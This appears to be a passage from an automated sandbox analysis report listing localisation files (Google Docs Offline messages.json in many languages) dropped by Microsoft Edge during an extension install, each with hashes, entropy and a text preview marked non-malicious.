Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
